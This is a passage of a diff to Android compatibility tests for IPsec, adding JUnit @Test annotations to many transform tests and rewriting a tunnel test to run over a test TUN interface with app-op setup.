     public void testAesCbcHmacSha256Tcp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
@@ -746,6 +755,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha256Tcp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
@@ -753,6 +763,7 @@
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha256Udp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
@@ -760,6 +771,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha256Udp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
@@ -767,6 +779,7 @@
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha384Tcp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
@@ -774,6 +787,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha384Tcp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
@@ -781,6 +795,7 @@
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha384Udp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
@@ -788,6 +803,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha384Udp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
@@ -795,6 +811,7 @@
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha512Tcp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
@@ -802,6 +819,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha512Tcp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
@@ -809,6 +827,7 @@
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha512Udp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
@@ -816,6 +835,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha512Udp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
@@ -823,6 +843,7 @@
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, auth, null, false, 1, true);
     }
 
+    @Test
     public void testAesGcm64Tcp4() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
@@ -830,6 +851,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm64Tcp6() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
@@ -837,6 +859,7 @@
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm64Udp4() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
@@ -844,6 +867,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm64Udp6() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
@@ -851,6 +875,7 @@
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm96Tcp4() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
@@ -858,6 +883,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm96Tcp6() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
@@ -865,6 +891,7 @@
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm96Udp4() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
@@ -872,6 +899,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm96Udp6() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
@@ -879,6 +907,7 @@
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm128Tcp4() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
@@ -886,6 +915,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm128Tcp6() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
@@ -893,6 +923,7 @@
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm128Udp4() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
@@ -900,6 +931,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesGcm128Udp6() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
@@ -907,6 +939,7 @@
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, null, authCrypt, false, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacMd5Tcp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
@@ -914,6 +947,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacMd5Udp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_MD5, getKey(128), 96);
@@ -921,6 +955,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha1Tcp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
@@ -928,6 +963,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha1Udp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA1, getKey(160), 96);
@@ -935,6 +971,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha256Tcp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
@@ -942,6 +979,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha256Udp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
@@ -949,6 +987,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha384Tcp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
@@ -956,6 +995,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha384Udp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA384, getKey(384), 192);
@@ -963,6 +1003,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha512Tcp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
@@ -970,6 +1011,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
     }
 
+    @Test
     public void testAesCbcHmacSha512Udp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA512, getKey(512), 256);
@@ -977,6 +1019,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, auth, null, true, 1, true);
     }
 
+    @Test
     public void testAesGcm64Tcp4UdpEncap() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
@@ -984,6 +1027,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
     }
 
+    @Test
     public void testAesGcm64Udp4UdpEncap() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 64);
@@ -991,6 +1035,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
     }
 
+    @Test
     public void testAesGcm96Tcp4UdpEncap() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
@@ -998,6 +1043,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
     }
 
+    @Test
     public void testAesGcm96Udp4UdpEncap() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 96);
@@ -1005,6 +1051,7 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
     }
 
+    @Test
     public void testAesGcm128Tcp4UdpEncap() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
@@ -1012,6 +1059,7 @@
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
     }
 
+    @Test
     public void testAesGcm128Udp4UdpEncap() throws Exception {
         IpSecAlgorithm authCrypt =
                 new IpSecAlgorithm(IpSecAlgorithm.AUTH_CRYPT_AES_GCM, AEAD_KEY, 128);
@@ -1019,78 +1067,91 @@
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, null, authCrypt, true, 1, true);
     }
 
+    @Test
     public void testCryptUdp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, null, null, false, 1, false);
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, null, null, false, 1, true);
     }
 
+    @Test
     public void testAuthUdp4() throws Exception {
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, auth, null, false, 1, false);
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, auth, null, false, 1, true);
     }
 
+    @Test
     public void testCryptUdp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, null, null, false, 1, false);
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, crypt, null, null, false, 1, true);
     }
 
+    @Test
     public void testAuthUdp6() throws Exception {
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, auth, null, false, 1, false);
         checkTransform(IPPROTO_UDP, IPV6_LOOPBACK, null, auth, null, false, 1, true);
     }
 
+    @Test
     public void testCryptTcp4() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, null, null, false, 1, false);
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, null, null, false, 1, true);
     }
 
+    @Test
     public void testAuthTcp4() throws Exception {
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, auth, null, false, 1, false);
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, auth, null, false, 1, true);
     }
 
+    @Test
     public void testCryptTcp6() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, null, null, false, 1, false);
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, crypt, null, null, false, 1, true);
     }
 
+    @Test
     public void testAuthTcp6() throws Exception {
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, auth, null, false, 1, false);
         checkTransform(IPPROTO_TCP, IPV6_LOOPBACK, null, auth, null, false, 1, true);
     }
 
+    @Test
     public void testCryptUdp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, null, null, true, 1, false);
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, crypt, null, null, true, 1, true);
     }
 
+    @Test
     public void testAuthUdp4UdpEncap() throws Exception {
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, auth, null, true, 1, false);
         checkTransform(IPPROTO_UDP, IPV4_LOOPBACK, null, auth, null, true, 1, true);
     }
 
+    @Test
     public void testCryptTcp4UdpEncap() throws Exception {
         IpSecAlgorithm crypt = new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY);
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, null, null, true, 1, false);
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, crypt, null, null, true, 1, true);
     }
 
+    @Test
     public void testAuthTcp4UdpEncap() throws Exception {
         IpSecAlgorithm auth = new IpSecAlgorithm(IpSecAlgorithm.AUTH_HMAC_SHA256, getKey(256), 128);
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, auth, null, true, 1, false);
         checkTransform(IPPROTO_TCP, IPV4_LOOPBACK, null, auth, null, true, 1, true);
     }
 
+    @Test
     public void testOpenUdpEncapSocketSpecificPort() throws Exception {
         IpSecManager.UdpEncapsulationSocket encapSocket = null;
         int port = -1;
@@ -1119,6 +1180,7 @@
         assertTrue("Returned invalid port", encapSocket.getPort() == port);
     }
 
+    @Test
     public void testOpenUdpEncapSocketRandomPort() throws Exception {
         try (IpSecManager.UdpEncapsulationSocket encapSocket = mISM.openUdpEncapsulationSocket()) {
             assertTrue("Returned invalid port", encapSocket.getPort() != 0);
diff --git a/tests/tests/net/src/android/net/cts/IpSecManagerTunnelTest.java b/tests/tests/net/src/android/net/cts/IpSecManagerTunnelTest.java
index 5dc9b63..999d2f1 100644
--- a/tests/tests/net/src/android/net/cts/IpSecManagerTunnelTest.java
+++ b/tests/tests/net/src/android/net/cts/IpSecManagerTunnelTest.java
@@ -16,161 +16,938 @@
 
 package android.net.cts;
 
+import static android.app.AppOpsManager.OP_MANAGE_IPSEC_TUNNELS;
+import static android.net.IpSecManager.UdpEncapsulationSocket;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_VPN;
+import static android.net.NetworkCapabilities.NET_CAPABILITY_TRUSTED;
+import static android.net.NetworkCapabilities.TRANSPORT_TEST;
+import static android.net.cts.PacketUtils.AES_CBC_BLK_SIZE;
+import static android.net.cts.PacketUtils.AES_CBC_IV_LEN;
+import static android.net.cts.PacketUtils.BytePayload;
+import static android.net.cts.PacketUtils.EspHeader;
+import static android.net.cts.PacketUtils.IP4_HDRLEN;
+import static android.net.cts.PacketUtils.IP6_HDRLEN;
+import static android.net.cts.PacketUtils.Ip4Header;
+import static android.net.cts.PacketUtils.Ip6Header;
+import static android.net.cts.PacketUtils.IpHeader;
+import static android.net.cts.PacketUtils.UDP_HDRLEN;
+import static android.net.cts.PacketUtils.UdpHeader;
+import static android.system.OsConstants.AF_INET;
+import static android.system.OsConstants.AF_INET6;
+
+import static org.junit.Assert.assertArrayEquals;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
 
+import android.app.AppOpsManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.net.ConnectivityManager;
 import android.net.IpSecAlgorithm;
 import android.net.IpSecManager;
 import android.net.IpSecTransform;
+import android.net.LinkAddress;
 import android.net.Network;
+import android.net.NetworkRequest;
+import android.net.TestNetworkInterface;
+import android.net.TestNetworkManager;
+import android.net.cts.PacketUtils.Payload;
+import android.os.Binder;
+import android.os.Build;
+import android.os.IBinder;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemProperties;
+import android.platform.test.annotations.AppModeFull;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.SystemUtil;
 
+import java.net.Inet4Address;
 import java.net.Inet6Address;
 import java.net.InetAddress;
-import java.net.InterfaceAddress;
 import java.net.NetworkInterface;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
 
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+@AppModeFull(reason = "MANAGE_TEST_NETWORKS permission can't be granted to instant apps")
 public class IpSecManagerTunnelTest extends IpSecBaseTest {
-
     private static final String TAG = IpSecManagerTunnelTest.class.getSimpleName();
-    private static final int IP4_PREFIX_LEN = 24;
-    private static final int IP6_PREFIX_LEN = 48;
-    private static final InetAddress OUTER_ADDR4 = InetAddress.parseNumericAddress("192.0.2.0");
-    private static final InetAddress OUTER_ADDR6 =
-            InetAddress.parseNumericAddress("2001:db8:f00d::1");
-    private static final InetAddress INNER_ADDR4 = InetAddress.parseNumericAddress("10.0.0.1");
-    private static final InetAddress INNER_ADDR6 =
-            InetAddress.parseNumericAddress("2001:db8:d00d::1");
 
-    private Network mUnderlyingNetwork;
-    private Network mIpSecNetwork;
+    private static final InetAddress LOCAL_OUTER_4 = InetAddress.parseNumericAddress("192.0.2.1");
+    private static final InetAddress REMOTE_OUTER_4 = InetAddress.parseNumericAddress("192.0.2.2");
+    private static final InetAddress LOCAL_OUTER_6 =
+            InetAddress.parseNumericAddress("2001:db8:1::1");
+    private static final InetAddress REMOTE_OUTER_6 =
+            InetAddress.parseNumericAddress("2001:db8:1::2");
 
-    protected void setUp() throws Exception {
+    private static final InetAddress LOCAL_INNER_4 =
+            InetAddress.parseNumericAddress("198.51.100.1");
+    private static final InetAddress REMOTE_INNER_4 =
+            InetAddress.parseNumericAddress("198.51.100.2");
+    private static final InetAddress LOCAL_INNER_6 =
+            InetAddress.parseNumericAddress("2001:db8:2::1");
+    private static final InetAddress REMOTE_INNER_6 =
+            InetAddress.parseNumericAddress("2001:db8:2::2");
+
+    private static final int IP4_PREFIX_LEN = 32;
+    private static final int IP6_PREFIX_LEN = 128;
+
+    private static final int TIMEOUT_MS = 500;
+
+    // Static state to reduce setup/teardown
+    private static ConnectivityManager sCM;
+    private static TestNetworkManager sTNM;
+    private static ParcelFileDescriptor sTunFd;
+    private static TestNetworkCallback sTunNetworkCallback;
+    private static Network sTunNetwork;
+    private static TunUtils sTunUtils;
+
+    private static Context sContext = InstrumentationRegistry.getContext();
+    private static IBinder sBinder = new Binder();
+
+    @BeforeClass
+    public static void setUpBeforeClass() throws Exception {
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .adoptShellPermissionIdentity();
+        sCM = (ConnectivityManager) sContext.getSystemService(Context.CONNECTIVITY_SERVICE);
+        sTNM = (TestNetworkManager) sContext.getSystemService(Context.TEST_NETWORK_SERVICE);
+
+        // Under normal circumstances, the MANAGE_IPSEC_TUNNELS appop would be auto-granted, and
+        // a standard permission is insufficient. So we shell out the appop, to give us the
+        // right appop permissions.
+        setAppop(OP_MANAGE_IPSEC_TUNNELS, true);
+
+        TestNetworkInterface testIface =
+                sTNM.createTunInterface(
+                        new LinkAddress[] {
+                            new LinkAddress(LOCAL_OUTER_4, IP4_PREFIX_LEN),
+                            new LinkAddress(LOCAL_OUTER_6, IP6_PREFIX_LEN)
+                        });
+
+        sTunFd = testIface.getFileDescriptor();
+        sTunNetworkCallback = setupAndGetTestNetwork(testIface.getInterfaceName());
+        sTunNetwork = sTunNetworkCallback.getNetworkBlocking();
+
+        sTunUtils = new TunUtils(sTunFd);
+    }
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
         super.setUp();
+
+        // Set to true before every run; some tests flip this.
+        setAppop(OP_MANAGE_IPSEC_TUNNELS, true);
+
+        // Clear sTunUtils state
+        sTunUtils.reset();
     }
 
-    protected void tearDown() {
-        setAppop(false);
+    @AfterClass
+    public static void tearDownAfterClass() throws Exception {
+        setAppop(OP_MANAGE_IPSEC_TUNNELS, false);
+
+        sCM.unregisterNetworkCallback(sTunNetworkCallback);
+
+        sTNM.teardownTestNetwork(sTunNetwork);
+        sTunFd.close();
+
+        InstrumentationRegistry.getInstrumentation()
+                .getUiAutomation()
+                .dropShellPermissionIdentity();
     }
 
-    private void setAppop(boolean allow) {
-        // Under normal circumstances, the MANAGE_IPSEC_TUNNELS appop would be auto-granted by the
-        // telephony framework, and the only permission that is sufficient is NETWORK_STACK. So we
-        // shell out the appop manager, to give us the right appop permissions.
-        String cmd =
-                "appops set "
-                        + mContext.getPackageName()
-                        + " MANAGE_IPSEC_TUNNELS "
-                + (allow ? "allow" : "deny");
-        SystemUtil.runShellCommand(cmd);
+    private static boolean hasTunnelsFeature() {
+        return sContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_IPSEC_TUNNELS)
+                || SystemProperties.getInt("ro.product.first_api_level", 0)
+                        >= Build.VERSION_CODES.Q;
     }
 
-    public void testSecurityExceptionsCreateTunnelInterface() throws Exception {
+    private static void setAppop(int appop, boolean allow) {
+        String opName = AppOpsManager.opToName(appop);
+        for (String pkg : new String[] {"com.android.shell", sContext.getPackageName()}) {
+            String cmd =
+                    String.format(
+                            "appops set %s %s %s",
+                            pkg, // Package name
+                            opName, // Appop
+                            (allow ? "allow" : "deny")); // Action
+            SystemUtil.runShellCommand(cmd);
+        }
+    }
+
+    private static TestNetworkCallback setupAndGetTestNetwork(String ifname) throws Exception {
+        // Build a network request
+        NetworkRequest nr =
+                new NetworkRequest.Builder()
+                        .addTransportType(TRANSPORT_TEST)
+                        .removeCapability(NET_CAPABILITY_TRUSTED)
+                        .removeCapability(NET_CAPABILITY_NOT_VPN)
+                        .setNetworkSpecifier(ifname)
+                        .build();
+
+        TestNetworkCallback cb = new TestNetworkCallback();
+        sCM.requestNetwork(nr, cb);
+
+        // Setup the test network after network request is filed to prevent Network from being
+        // reaped due to no requests matching it.
+        sTNM.setupTestNetwork(ifname, sBinder);
+
+        return cb;
+    }
+
+    @Test
+    public void testSecurityExceptionCreateTunnelInterfaceWithoutAppop() throws Exception {
+        if (!hasTunnelsFeature()) return;
+
         // Ensure we don't have the appop. Permission is not requested in the Manifest
-        setAppop(false);
